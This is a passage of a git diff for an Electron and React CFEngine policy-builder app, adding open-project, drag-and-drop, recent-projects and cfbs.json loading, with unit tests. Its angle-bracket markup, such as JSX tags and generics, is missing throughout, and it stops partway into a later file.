d07a055..fe17579 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -1,14 +1,15 @@ import { BrowserWindow, app, dialog, ipcMain, shell } from 'electron'; import type { IpcMainInvokeEvent, OpenDialogOptions, WebFrameMain } from 'electron'; import { constants, promises as fs } from 'fs'; -import { dirname, isAbsolute, join, normalize } from 'path'; +import { basename, dirname, isAbsolute, join, normalize, resolve } from 'path'; -import type { CreateProjectRequest, MasterfilesVersions, OperationResult, ProjectContent, TargetCheck } from '../preload/api'; +import type { CreateProjectRequest, MasterfilesVersions, OperationResult, ProjectContent, RecentProject, TargetCheck } from '../preload/api'; import { initCfbsProject } from './backend'; /** * The project:* IPC channels: creating a cfbs project on disk (via the Python - * sidecar) and saving the builder's state into its cfbs.json. + * sidecar), opening one, saving the builder's state into its cfbs.json, and + * the recent-projects list. */ // The builder's key under cfbs.json's top-level `meta`. @@ -20,8 +21,10 @@ const FOLDER_NAME = /^[a-z0-9][a-z0-9_-]{0,99}$/; const MASTERFILES = /^(\d+\.\d+\.\d+(-\d+)?|master|no)$/; const MAX_PATH_LENGTH = 4096; const MAX_CONTENT_BYTES = 50_000_000; +const MAX_CFBS_JSON_BYTES = 10_000_000; +const MAX_RECENTS = 5; -// Project folders this session created; saves may only write into these. +// Project folders this session created or opened; saves may only write into these. const knownProjects = new Set(); let versionsRequest: Promise | null = null; @@ -30,8 +33,11 @@ class InvalidRequest extends Error {} interface AppSettings { lastProjectParent?: string; + recentProjects?: { name: string; path: string }[]; } +let recentsListener: (() => void) | null = null; + const settingsPath = () => join(app.getPath('userData'), 'app-settings.json'); async function readSettings(): Promise { @@ -43,8 +49,13 @@ async function readSettings(): Promise { } } -async function writeSettings(patch: AppSettings): Promise { - await writeFileAtomic(settingsPath(), JSON.stringify({ ...(await readSettings()), ...patch }, null, 2)); +// Queued, so concurrent read-modify-writes can't drop each other's changes. +let settingsWrite: Promise = Promise.resolve(); + +function writeSettings(patch: AppSettings): Promise { + const write = settingsWrite.then(async () => writeFileAtomic(settingsPath(), JSON.stringify({ ...(await readSettings()), ...patch }, null, 2))); + settingsWrite = write.catch(() => {}); + return write; } async function writeFileAtomic(path: string, content: string): Promise { @@ -190,6 +201,106 @@ const failure = (error: unknown): OperationResult => ({ details: typeof (error as { details?: unknown })?.details === 'string' ? (error as { details: string }).details : '' }); +async function defaultParent(): Promise { + const { lastProjectParent } = await readSettings(); + if (typeof lastProjectParent === 'string' && isAbsolute(lastProjectParent) && (await isDirectory(lastProjectParent))) return lastProjectParent; + return app.getPath('documents'); +} + +async function readRecents(): Promise<{ name: string; path: string }[]> { + const { recentProjects } = await readSettings(); + if (!Array.isArray(recentProjects)) return []; + return recentProjects.filter(entry => typeof entry?.name === 'string' && typeof entry.path === 'string' && isAbsolute(entry.path)).slice(0, MAX_RECENTS); +} + +async function updateRecents(update: (recents: { name: string; path: string }[]) => { name: string; path: string }[]): Promise { + try { + await writeSettings({ recentProjects: update(await readRecents()).slice(0, MAX_RECENTS) }); + recentsListener?.(); + } catch (error) { + console.error(`[project] recent projects not saved: ${error}`); + } +} + +async function rememberRecent(path: string, name: string): Promise { + if (process.platform === 'darwin') app.addRecentDocument(path); + await updateRecents(recents => [{ name, path }, ...recents.filter(entry => entry.path !== path)]); +} + +/** The recent projects, most recent first; `exists` is false once the folder or its cfbs.json is gone. */ +export async function getRecentProjects(): Promise { + const exists = (path: string) => + fs.stat(join(path, 'cfbs.json')).then( + stats => stats.isFile(), + () => false + ); + return Promise.all((await readRecents()).map(async entry => ({ ...entry, exists: await exists(entry.path) }))); +} + +export const forgetRecentProject = (path: string) => updateRecents(recents => recents.filter(entry => entry.path !== path)); + +export function clearRecentProjects(): Promise { + if (process.platform === 'darwin') app.clearRecentDocuments(); + return updateRecents(() => []); +} + +/** Called whenever the recent-projects list changes (the File menu rebuilds). */ +export function onRecentsChanged(listener: () => void): void { + recentsListener = listener; +} + +// A picked/dropped path → the project folder: the folder itself, or a cfbs.json's. +async function projectFolderOf(picked: string): Promise { + const stats = await fs.stat(picked).catch(() => null); + if (!stats) throw new InvalidRequest(`${picked} doesn't exist`); + if (stats.isDirectory()) return picked; + if (stats.isFile() && basename(picked) === 'cfbs.json') return dirname(picked); + throw new InvalidRequest('Choose a project folder or its cfbs.json file.'); +} + +async function readCfbsJson(folder: string): Promise> { + const cfbsPath = join(folder, 'cfbs.json'); + const stats = await fs.stat(cfbsPath).catch(() => null); + if (!stats?.isFile()) throw new InvalidRequest(`${folder} isn't a cfbs project: it has no cfbs.json.`); + if (stats.size > MAX_CFBS_JSON_BYTES) throw new InvalidRequest(`cfbs.json is too large (max ${MAX_CFBS_JSON_BYTES / 1_000_000} MB).`); + let parsed: unknown; + try { + parsed = JSON.parse(await fs.readFile(cfbsPath, 'utf-8')); + } catch (error) { + throw new InvalidRequest(`cfbs.json isn't valid JSON: ${error instanceof Error ? error.message : error}`); + } + if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) throw new InvalidRequest('cfbs.json is not a JSON object.'); + const json = parsed as Record; + if (json.type !== undefined && json.type !== 'policy-set') + throw new InvalidRequest(`This cfbs.json is a cfbs ${String(json.type)}, not a policy set project.`); + if (json.type === undefined && typeof json.name !== 'string' && !Array.isArray(json.build)) throw new InvalidRequest('This doesn’t look like a cfbs.json.'); + return json; +} + +async function pickProject(event: IpcMainInvokeEvent): Promise { + const window = BrowserWindow.fromWebContents(event.sender); + // Only macOS can pick a file or a folder in one dialog; elsewhere a cfbs.json can be dropped instead. + const options: OpenDialogOptions = { + title: 'Open Project', + buttonLabel: 'Open', + message: 'Choose a cfbs project folder or its cfbs.json', + properties: process.platform === 'darwin' ? ['openFile', 'openDirectory'] : ['openDirectory'], + defaultPath: await defaultParent() + }; + const result = await (window ? dialog.showOpenDialog(window, options) : dialog.showOpenDialog(options)); + return result.canceled ? null : (result.filePaths[0] ?? null); +} + +async function openProject(event: IpcMainInvokeEvent, request: { path?: unknown }) { + const picked = request?.path === undefined ? await pickProject(event) : checkedAbsolutePath(request.path, 'project path'); + if (picked === null) return null; + const path = await projectFolderOf(resolve(picked)); + const cfbs = await readCfbsJson(path); + knownProjects.add(path); + await rememberRecent(path, typeof cfbs.name === 'string' && cfbs.name.trim() ? cfbs.name.trim() : basename(path)); + return { ok: true as const, cfbs, path }; +} + async function createProject(request: CreateProjectRequest) { const parent = checkedAbsolutePath(request?.parent, 'location'); const folderName = checkedFolderName(request.folderName); @@ -206,6 +317,7 @@ async function createProject(request: CreateProjectRequest) { const result = await initCfbsProject({ content, description, directory: join(parent, folderName), git: request.git, masterfiles: request.masterfiles, name }); knownProjects.add(result.path); await writeSettings({ lastProjectParent: parent }).catch(error => console.error(`[project] settings not saved: ${error}`)); + await rememberRecent(result.path, name); const version = result.masterfiles?.version; const masterfiles = request.masterfiles === 'no' ? null : typeof version === 'string' ? version : request.masterfiles; return { ok: true as const, masterfiles, path: result.path }; @@ -221,11 +333,7 @@ export function registerProjectHandlers(isTrustedFrame: (frame: WebFrameMain | n ipcMain.handle( 'project:default-parent', - trusted(async () => { - const { lastProjectParent } = await readSettings(); - if (typeof lastProjectParent === 'string' && isAbsolute(lastProjectParent) && (await isDirectory(lastProjectParent))) return lastProjectParent; - return app.getPath('documents'); - }) + trusted(() => defaultParent()) ); ipcMain.handle( @@ -258,6 +366,18 @@ export function registerProjectHandlers(isTrustedFrame: (frame: WebFrameMain | n trusted((_event, request: CreateProjectRequest) => createProject(request).catch(failure)) ); + ipcMain.handle( + 'project:open', + trusted((event, request: { path?: unknown }) => openProject(event, request).catch(failure)) + ); + + ipcMain.handle('project:recents', trusted(getRecentProjects)); + + ipcMain.handle( + 'project:forget-recent', + trusted((_event, request: { path?: unknown }) => forgetRecentProject(checkedAbsolutePath(request?.path, 'project path'))) + ); + ipcMain.handle( 'project:save', trusted(async (_event, request: { meta?: unknown; modules?: unknown; path?: unknown }) => { diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 0912e22..e46cbbc 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -7,7 +7,7 @@ interface LayoutSettings { rightSidebarFraction: number; } -type MenuAction = 'close-requested' | 'new-project' | 'open-project' | 'save' | 'try-demo'; +type MenuAction = 'close-requested' | 'new-project' | 'open-project' | 'open-recent' | 'recents-changed' | 'save' | 'try-demo'; // What the builder writes into cfbs.json: its entry in the top-level `meta`, and one module per policy file. export interface ProjectContent { @@ -33,6 +33,19 @@ export interface MasterfilesVersions { lts: string; } +export interface OpenedProject { + // The parsed cfbs.json. + cfbs: Record; + path: string; +} + +export interface RecentProject { + // False once the folder or its cfbs.json is gone. + exists: boolean; + name: string; + path: string; +} + export interface TargetCheck { parentWritable: boolean; targetState: 'empty' | 'new' | 'nonEmpty'; @@ -49,6 +62,8 @@ declare global { confirmWindowClose: () => Promise; /** Runs `cfbs init` into parent/folderName, then writes the builder's content into its cfbs.json. */ createProject: (request: CreateProjectRequest) => Promise>; + /** Removes a project from the recent-projects list. */ + forgetRecentProject: (path: string) => Promise; /** Formats CFEngine policy, rejecting with a message if it cannot. */ formatPolicy: (source: string) => Promise; /** The folder new projects go in by default: the last one used, else ~/Documents. */ @@ -57,10 +72,16 @@ declare global { getLayoutSettings: () => Promise; /** Newest 3.27.x and 3.24.x masterfiles releases (built-in fallback when offline). */ getMasterfilesVersions: () => Promise; + /** The file-system path of a File dropped onto the window. */ + getPathForFile: (file: File) => string; + /** The last few opened/created projects, most recent first. */ + getRecentProjects: () => Promise; /** Opens a native file picker and reads the chosen file as text, or null if cancelled. */ importTextFile: () => Promise<{ content: string; fileName: string } | null>; - /** Subscribes to native menu clicks and window-close requests; call the returned function to unsubscribe. */ - onMenuAction: (callback: (action: MenuAction) => void) => () => void; + /** Subscribes to native menu clicks, window-close requests and recent-project changes; call the returned function to unsubscribe. */ + onMenuAction: (callback: (action: MenuAction, path?: string) => void) => () => void; + /** Reads a project's cfbs.json: `path` is its folder or the cfbs.json; without one, a native picker asks (null: cancelled). */ + openProject: (request?: { path?: string }) => Promise | null>; /** Opens a native folder picker, or null if cancelled. */ pickDirectory: (defaultPath?: string) => Promise; /** Shows the project's cfbs.json in the OS file manager. */ diff --git a/src/preload/index.ts b/src/preload/index.ts index 607b2d7..8bd3c64 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -1,6 +1,6 @@ -import { contextBridge, ipcRenderer } from 'electron'; +import { contextBridge, ipcRenderer, webUtils } from 'electron'; -import type { CreateProjectRequest, MasterfilesVersions, OperationResult, ProjectContent, TargetCheck } from './api'; +import type { CreateProjectRequest, MasterfilesVersions, OpenedProject, OperationResult, ProjectContent, RecentProject, TargetCheck } from './api'; // Everything the renderer can ask the main process to do goes through this // typed bridge (see api.d.ts — the filename is load-bearing, see the note @@ -22,24 +22,27 @@ interface LayoutSettings { rightSidebarFraction: number; } -export type MenuAction = 'close-requested' | 'new-project' | 'open-project' | 'save' | 'try-demo'; +export type MenuAction = 'close-requested' | 'new-project' | 'open-project' | 'open-recent' | 'recents-changed' | 'save' | 'try-demo'; const MENU_CHANNELS: Record = { 'menu:new-project': 'new-project', 'menu:open-project': 'open-project', + // Carries the project path. + 'menu:open-recent': 'open-recent', 'menu:save': 'save', 'menu:try-demo': 'try-demo', // Not a menu item: main asking whether a window with unsaved changes may close. - 'window:close-requested': 'close-requested' + 'window:close-requested': 'close-requested', + 'window:recents-changed': 'recents-changed' }; // Menu clicks fire in the main process (see main/index.ts's // buildApplicationMenu), so the renderer hears about them as events rather // than a request/response — unlike everything else in `api`, which the // renderer calls to ask main to do something. -function onMenuAction(callback: (action: MenuAction) => void): () => void { +function onMenuAction(callback: (action: MenuAction, path?: string) => void): () => void { const listeners = Object.entries(MENU_CHANNELS).map(([channel, action]) => { - const listener = () => callback(action); + const listener = (_event: unknown, path?: unknown) => callback(action, typeof path === 'string' ? path : undefined); ipcRenderer.on(channel, listener); return { channel, listener }; }); @@ -52,7 +55,7 @@ const api = { /** Returns whether the OS currently prefers a dark color scheme. */ shouldUseDarkColors: (): Promise => invoke('theme:should-use-dark'), - /** Subscribes to native menu clicks and window-close requests; call the returned function to unsubscribe. */ + /** Subscribes to native menu clicks, window-close requests and recent-project changes; call the returned function to unsubscribe. */ onMenuAction, /** Sets the window title (null: no project) and the unsaved-changes state. */ @@ -76,6 +79,18 @@ const api = { /** Runs `cfbs init` into parent/folderName, then writes the builder's content into its cfbs.json. */ createProject: (request: CreateProjectRequest): Promise> => invoke('project:create', request), + /** Reads a project's cfbs.json: `path` is its folder or the cfbs.json; without one, a native picker asks (null: cancelled). */ + openProject: (request: { path?: string } = {}): Promise | null> => invoke('project:open', request), + + /** The last few opened/created projects, most recent first. */ + getRecentProjects: (): Promise => invoke('project:recents'), + + /** Removes a project from the recent-projects list. */ + forgetRecentProject: (path: string): Promise => invoke('project:forget-recent', { path }), + + /** The file-system path of a File dropped onto the window. */ + getPathForFile: (file: File): string => webUtils.getPathForFile(file), + /** Merges the builder's content into the project's cfbs.json. */ saveProject: (path: string, content: ProjectContent): Promise> => invoke('project:save', { path, ...content }), diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx index a503122..3820cba 100644 --- a/src/renderer/src/App.tsx +++ b/src/renderer/src/App.tsx @@ -1,4 +1,4 @@ -import { useEffect, useRef } from 'react'; +import { useEffect, useRef, useState } from 'react'; import { Alert, Snackbar } from '@mui/material'; @@ -21,21 +21,47 @@ export default function App() { useEffect(() => { sessionRef.current = session; }); + // Bumped when main reports the recent-projects list changed. + const [recentsVersion, setRecentsVersion] = useState(0); useEffect( () => - window.api?.onMenuAction(action => { + window.api?.onMenuAction((action, path) => { const current = sessionRef.current; if (action === 'new-project') current.newProject(); else if (action === 'try-demo') current.startDemo(); else if (action === 'save' && !modalOpen()) current.save(); else if (action === 'close-requested') current.requestClose(); - // 'open-project' has no renderer behavior yet — mirrors the - // still-inert "Open Project…" button on NoProjectScreen. + else if (action === 'open-project' && !modalOpen()) current.openProject(); + else if (action === 'open-recent' && path && !modalOpen()) current.openProject(path); + else if (action === 'recents-changed') setRecentsVersion(version => version + 1); }), [] ); + // A project folder or cfbs.json dropped anywhere on the window opens it (drops an editor handled are left alone). + useEffect(() => { + const hasFiles = (event: DragEvent) => Boolean(event.dataTransfer?.types.includes('Files')); + const onDragOver = (event: DragEvent) => { + if (!hasFiles(event)) return; + event.preventDefault(); + if (event.dataTransfer) event.dataTransfer.dropEffect = modalOpen() ? 'none' : 'copy'; + }; + const onDrop = (event: DragEvent) => { + const file = event.dataTransfer?.files[0]; + if (!file || event.defaultPrevented) return; + event.preventDefault(); + const path = window.api?.getPathForFile(file); + if (path && !modalOpen()) sessionRef.current.openProject(path); + }; + window.addEventListener('dragover', onDragOver); + window.addEventListener('drop', onDrop); + return () => { + window.removeEventListener('dragover', onDragOver); + window.removeEventListener('drop', onDrop); + }; + }, []); + useEffect(() => { window.api?.setDocument({ edited: dirty, title: project?.name ?? null }).catch(() => {}); }, [dirty, project?.name]); @@ -45,7 +71,7 @@ export default function App() { {project ? ( ) : ( - + )} {projectDialog && ( )} {unsavedPrompt && project && } - - - {session.saveError} + + + {session.error} diff --git a/src/renderer/src/components/ProjectStatusLabel.tsx b/src/renderer/src/components/ProjectStatusLabel.tsx index 7aa443f..477cfe6 100644 --- a/src/renderer/src/components/ProjectStatusLabel.tsx +++ b/src/renderer/src/components/ProjectStatusLabel.tsx @@ -5,7 +5,7 @@ import type { Project } from '../store/projectSlice/types'; const MAX_PATH_CHARS = 48; // Keeps both ends of a long path: "/Users/me/…/policies/web". -function middleTruncate(text: string, max = MAX_PATH_CHARS): string { +export function middleTruncate(text: string, max = MAX_PATH_CHARS): string { if (text.length <= max) return text; const head = Math.ceil((max - 1) / 2); return `${text.slice(0, head)}…${text.slice(text.length - (max - 1 - head))}`; diff --git a/src/renderer/src/pages/NoProjectScreen.tsx b/src/renderer/src/pages/NoProjectScreen.tsx index 8534283..ecd2594 100644 --- a/src/renderer/src/pages/NoProjectScreen.tsx +++ b/src/renderer/src/pages/NoProjectScreen.tsx @@ -1,13 +1,93 @@ +import { useEffect, useState } from 'react'; + import ChevronRightIcon from '@mui/icons-material/ChevronRight'; +import FolderOutlinedIcon from '@mui/icons-material/FolderOutlined'; import PlayArrowIcon from '@mui/icons-material/PlayArrow'; -import { Box, Button, ButtonBase, Divider, Stack, Typography } from '@mui/material'; +import { Box, Button, ButtonBase, Divider, Stack, Tooltip, Typography } from '@mui/material'; +import { middleTruncate } from '../components/ProjectStatusLabel'; import { StatusBar } from '../components/StatusBar'; import { BlockNodesIcon } from '../components/icons/BlockNodesIcon'; +const RECENT_PATH_CHARS = 60; + +type RecentProject = Awaited['getRecentProjects']>>[number]; + interface NoProjectScreenProps { onNewProject: () => void; + onOpenProject: (path?: string) => void; onTryDemo: () => void; + // Changes when the recent-projects list does. + recentsVersion: number; +} + +function RecentProjects({ onOpen, version }: { onOpen: (path: string) => void; version: number }) { + const [recents, setRecents] = useState([]); + useEffect(() => { + let current = true; + window.api + ?.getRecentProjects() + .then(list => current && setRecents(list)) + .catch(() => {}); + return () => { + current = false; + }; + }, [version]); + + if (!recents.length) return null; + return ( + + + Recent projects + + + {recents.map(({ exists, name, path }, index) => ( + + onOpen(path)} + sx={{ + flex: 1, + minWidth: 0, + display: 'flex', + alignItems: 'center', + gap: 1.5, + px: 1.5, + py: 1, + textAlign: 'left', + borderRadius: '8px', + opacity: exists ? 1 : 0.55, + '&:hover .recent-name, &.Mui-focusVisible .recent-name': { color: 'primary.main' } + }} + > + + + + {name} + + + + {exists ? middleTruncate(path, RECENT_PATH_CHARS) : `Not found: ${middleTruncate(path, RECENT_PATH_CHARS - 11)}`} + + + + + {!exists && ( + + )} + + ))} + + + ); } /** @@ -16,7 +96,7 @@ interface NoProjectScreenProps { * File menu's "New Project…" needs to open it regardless of which screen * is currently showing, not just from this one's button. */ -export default function NoProjectScreen({ onNewProject, onTryDemo }: NoProjectScreenProps) { +export default function NoProjectScreen({ onNewProject, onOpenProject, onTryDemo, recentsVersion }: NoProjectScreenProps) { return ( @@ -30,10 +110,11 @@ export default function NoProjectScreen({ onNewProject, onTryDemo }: NoProjectSc - + or explore diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index f13da42..bf7688a 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -5,7 +5,7 @@ import { derivedNodeMoved } from '../store/derivedNodesSlice'; import { fileAdded, fileConditionClassNameChanged, fileConditionEnabled, folderAdded } from '../store/filesSlice'; import { groupCreated } from '../store/groupsSlice'; import { addBlock, makeStore } from '../store/test/storeTestUtils'; -import { META_KEY, SCHEMA_VERSION, fromCfbsProject, toCfbsProject } from './cfbsProject'; +import { META_KEY, SCHEMA_VERSION, fromCfbsProject, loadCfbsProject, toCfbsProject } from './cfbsProject'; function buildProject() { const store = makeStore(); @@ -94,3 +94,55 @@ describe('cfbsProject', () => { expect(() => fromCfbsProject(asCfbsJson(content))).toThrow(/schema version/); }); }); + +describe('loadCfbsProject', () => { + it('loads a builder project with its name, description and masterfiles version', () => { + const { state } = buildProject(); + const json = asCfbsJson(toCfbsProject(state), { name: 'Web', description: 'Hardening', type: 'policy-set' }); + + const loaded = loadCfbsProject(json, 'web'); + + expect(loaded).toMatchObject({ name: 'Web', description: 'Hardening', masterfiles: '3.27.1' }); + expect(loaded.data.files).toEqual(state.files); + expect(loaded.data.edges).toEqual(state.edges); + }); + + it('opens a cfbs project without builder data with one empty file named after it', () => { + const json = { name: 'Plain', type: 'policy-set', build: [{ name: 'masterfiles', url: 'https://github.com/cfengine/masterfiles', branch: 'master' }] }; + + const { data, masterfiles: version, name } = loadCfbsProject(json, 'plain'); + + expect(name).toBe('Plain'); + expect(version).toBe('master'); + expect(data.files.files).toHaveLength(1); + expect(data.files.files[0]).toMatchObject({ name: 'Plain', parentId: null }); + expect(data.files.currentFileId).toBe(data.files.files[0].id); + expect(data).toMatchObject({ canvas: [], edges: [], groups: [], derivedNodes: {} }); + }); + + it('falls back to the folder name, and no masterfiles', () => { + const loaded = loadCfbsProject({ build: [] }, 'my-policy'); + expect(loaded).toMatchObject({ name: 'my-policy', description: '', masterfiles: null }); + }); + + it('refuses a project made by a newer builder', () => { + const json = { name: 'x', build: [], meta: { [META_KEY]: { schema_version: SCHEMA_VERSION + 1 } } }; + expect(() => loadCfbsProject(json, 'x')).toThrow(/newer version of CFEngine Policy Builder/); + }); + + it.each([ + ['not an object', [1, 2]], + ['null', null], + ['non-object builder meta', { name: 'x', meta: { [META_KEY]: 'yes' } }], + ['builder meta without a schema version', { name: 'x', meta: { [META_KEY]: {} } }] + ])('refuses %s', (_what, json) => { + expect(() => loadCfbsProject(json, 'x')).toThrow(); + }); + + it('tolerates corrupt per-file lists', () => { + const file = { id: 'f1', name: 'A', namespace: 'a', path: './policy/a.cf', blocks: 'oops', layout: 'oops' }; + const { data } = loadCfbsProject({ build: [], meta: { [META_KEY]: { schema_version: SCHEMA_VERSION, files: [file] } } }, 'x'); + expect(data.canvas).toEqual([]); + expect(data.files.files).toEqual([{ id: 'f1', name: 'A', namespace: 'a', parentId: null }]); + }); +}); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index 61a1f65..8db8fb8 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -3,6 +3,7 @@ import { executionOrder } from '../canvas/executionOrder'; import type { RootState } from '../store'; import type { BlockInstance, Condition } from '../store/canvasSlice/types'; import type { BlockEdge } from '../store/edgesSlice/types'; +import filesReducer, { projectFilesInitialized } from '../store/filesSlice'; import type { PolicyFile, PolicyFolder } from '../store/filesSlice/types'; import type { BlockGroup } from '../store/groupsSlice/types'; import type { UndoableKey } from '../store/history'; @@ -162,8 +163,13 @@ const builderMetaOf = (entry: unknown): Record | undefined => { const listOf = (value: T[] | undefined): T[] => (Array.isArray(value) ? value : []); function checkSchemaVersion(version: unknown) { - if (typeof version !== 'number' || version > SCHEMA_VERSION) { - throw new Error(`Unsupported project schema version ${version}; this app supports up to ${SCHEMA_VERSION}`); + if (typeof version !== 'number' || !Number.isInteger(version) || version < 1) { + throw new Error('The project’s builder data is corrupt (no valid schema version)'); + } + if (version > SCHEMA_VERSION) { + throw new Error( + `This project was made with a newer version of CFEngine Policy Builder (schema version ${version}; this app supports up to ${SCHEMA_VERSION}). Update the app to open it.` + ); } } @@ -211,6 +217,40 @@ export function fromCfbsProject(json: unknown): ProjectData { }; } +export interface LoadedProject { + data: ProjectData; + description: string; + masterfiles: string | null; + name: string; +} + +// The masterfiles build entry's release, "master" for a branch/URL one, null without. +function masterfilesOf(build: unknown[]): string | null { + const entry = build.find(item => isObject(item) && typeof item.name === 'string' && /(^|\/)masterfiles$/.test(item.name)) as + Record | undefined; + if (!entry) return null; + if (typeof entry.version === 'string' && /^\d+\.\d+\.\d+(-\d+)?$/.test(entry.version)) return entry.version; + return typeof entry.url === 'string' || typeof entry.branch === 'string' ? 'master' : typeof entry.version === 'string' ? entry.version : null; +} + +/** + * An opened project's cfbs.json → what goes into the store. A cfbs project + * without builder data opens with one empty policy file named after it. + */ +export function loadCfbsProject(json: unknown, folderName: string): LoadedProject { + if (!isObject(json)) throw new Error('cfbs.json is not a JSON object'); + const name = (typeof json.name === 'string' && json.name.trim()) || folderName; + const description = typeof json.description === 'string' ? json.description : ''; + const masterfiles = masterfilesOf(Array.isArray(json.build) ? json.build : []); + if (isObject(json.meta) && json.meta[META_KEY] !== undefined && !isObject(json.meta[META_KEY])) { + throw new Error(`The project’s builder data is corrupt ("meta"."${META_KEY}" is not an object)`); + } + const data = builderMetaOf(json) ? fromCfbsProject(json) : null; + if (data && data.files.files.length > 0) return { data, description, masterfiles, name }; + const files = filesReducer(undefined, projectFilesInitialized(name)); + return { data: { canvas: [], derivedNodes: {}, edges: [], files, groups: [] }, description, masterfiles, name }; +} + /** The project folder's name for a project name: "Web Server Hardening" → "web-server-hardening". */ export function projectFolderName(name: string): string { return name diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts index 3f742f4..f7a2c3e 100644 --- a/src/renderer/src/project/useProjectSession.ts +++ b/src/renderer/src/project/useProjectSession.ts @@ -6,9 +6,9 @@ import { createNginxDemoProject } from '../demo/nginxDemoProject'; import { type RootState, createAppStore, useAppDispatch, useAppSelector } from '../store'; import { projectFilesInitialized } from '../store/filesSlice'; import { UNDOABLE_KEYS, historyCleared } from '../store/history'; -import { projectCreated, projectLocated } from '../store/projectSlice'; +import { projectCreated, projectLoaded, projectLocated } from '../store/projectSlice'; import { selectCurrentProject } from '../store/projectSlice/selectors'; -import { type ProjectData, toCfbsProject } from './cfbsProject'; +import { type ProjectData, loadCfbsProject, toCfbsProject } from './cfbsProject'; const snapshotOf = (state: RootState): ProjectData => ({ canvas: state.canvas, @@ -19,6 +19,7 @@ const snapshotOf = (state: RootState): ProjectData => ({ }); const errorMessage = (cause: unknown) => (cause instanceof Error ? cause.message : String(cause)); +const folderNameOf = (path: string) => path.split(/[\\/]/).filter(Boolean).pop() ?? path; /** * The open project's life cycle: creating it (on disk via cfbs, or in memory), @@ -33,7 +34,7 @@ export function useProjectSession() { const dirty = useAppSelector(state => baseline !== null && UNDOABLE_KEYS.some(key => state[key] !== baseline[key])); const [projectDialog, setProjectDialog] = useState<'new' | 'saveAs' | null>(null); const [pendingAction, setPendingAction] = useState<(() => void) | null>(null); - const [saveError, setSaveError] = useState(null); + const [error, setError] = useState(null); const saving = useRef(false); // Resolves the save a "Save Project As" dialog was opened for. const saveAsDone = useRef<((saved: boolean) => void) | null>(null); @@ -107,13 +108,29 @@ export function useProjectSession() { markSaved(data); return true; } catch (cause) { - setSaveError(`Couldn’t save the project: ${errorMessage(cause)}`); + setError(`Couldn’t save the project: ${errorMessage(cause)}`); return false; } finally { saving.current = false; } }; + // No path: the native picker asks. The current project stays as is unless the new one loads. + const openProject = async (path?: string) => { + if (!window.api) return; + try { + const result = await window.api.openProject(path ? { path } : {}); + if (!result) return; + if (!result.ok) throw new Error(result.message); + const { data, description, masterfiles, name } = loadCfbsProject(result.cfbs, folderNameOf(result.path)); + dispatch(projectLoaded({ description, masterfiles, name, path: result.path }, data)); + dispatch(historyCleared()); + markSaved(); + } catch (cause) { + setError(`Couldn’t open the project: ${errorMessage(cause)}`); + } + }; + // Runs `action` now, or after Save / Don't Save when there are unsaved changes. const guarded = (action: () => void) => { if (dirty) setPendingAction(() => action); @@ -135,13 +152,14 @@ export function useProjectSession() { return { closeProjectDialog, dirty, - dismissSaveError: () => setSaveError(null), + dismissError: () => setError(null), + error, newProject: () => guarded(() => setProjectDialog('new')), + openProject: (path?: string) => guarded(() => void openProject(path)), project, projectDialog, requestClose: () => guarded(() => window.api?.confirmWindowClose()), save, - saveError, startDemo: () => guarded(() => { createNginxDemoProject(dispatch); diff --git a/src/renderer/src/store/canvasSlice/index.ts b/src/renderer/src/store/canvasSlice/index.ts index 743ad9f..d9aec23 100644 --- a/src/renderer/src/store/canvasSlice/index.ts +++ b/src/renderer/src/store/canvasSlice/index.ts @@ -3,7 +3,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import { decoratorsById } from '../../blocks/decorators'; import { blockDescriptorsById } from '../../blocks/loadBlocks'; import { groupCreated, groupRemoved } from '../groupsSlice/actions'; -import { projectCreated } from '../projectSlice'; +import { projectCreated, projectLoaded } from '../projectSlice'; import type { BlockInstance, ClassReference, Condition, DecoratorInstance, DefinitionEntry, EditableSubject, ParamBinding } from './types'; // Field-level edits target the instance itself, one of its entries @@ -218,6 +218,7 @@ const canvasSlice = createSlice({ extraReducers: builder => { builder .addCase(projectCreated, () => []) + .addCase(projectLoaded, (_state, action) => action.payload.content.canvas) .addCase(groupCreated, (state, action) => { for (const instance of state) if (action.payload.instanceIds.includes(instance.instanceId)) instance.groupId = action.payload.id; }) diff --git a/src/renderer/src/store/clipboardSlice/index.ts b/src/renderer/src/store/clipboardSlice/index.ts index 8d70bbb..786a370 100644 --- a/src/renderer/src/store/clipboardSlice/index.ts +++ b/src/renderer/src/store/clipboardSlice/index.ts @@ -1,7 +1,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import type { BlockInstance } from '../canvasSlice/types'; -import { projectCreated } from '../projectSlice'; +import { projectCreated, projectLoaded } from '../projectSlice'; import type { ClipboardState } from './types'; const initialState: ClipboardState = { mode: null, snapshot: null }; @@ -33,7 +33,7 @@ const clipboardSlice = createSlice({ } }, extraReducers: builder => { - builder.addCase(projectCreated, () => initialState); + builder.addCase(projectCreated, () => initialState).addCase(projectLoaded, () => initialState); } }); diff --git a/src/renderer/src/store/derivedNodesSlice/index.ts b/src/renderer/src/store/derivedNodesSlice/index.ts index 35f3d80..1f1c206 100644 --- a/src/renderer/src/store/derivedNodesSlice/index.ts +++ b/src/renderer/src/store/derivedNodesSlice/index.ts @@ -1,7 +1,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import { blockRemoved, blocksRemovedForFile, dataChainRemoved, entryRemoved } from '../canvasSlice'; -import { projectCreated } from '../projectSlice'; +import { projectCreated, projectLoaded } from '../projectSlice'; type Position = { x: number; y: number }; @@ -39,6 +39,7 @@ const derivedNodesSlice = createSlice({ }; builder .addCase(projectCreated, () => ({})) + .addCase(projectLoaded, (_state, action) => action.payload.content.derivedNodes) .addCase(blocksRemovedForFile, (state, action) => { for (const key of Object.keys(state)) if (key.startsWith(`${action.payload.fileId}|`)) delete state[key]; }) diff --git a/src/renderer/src/store/edgesSlice/index.ts 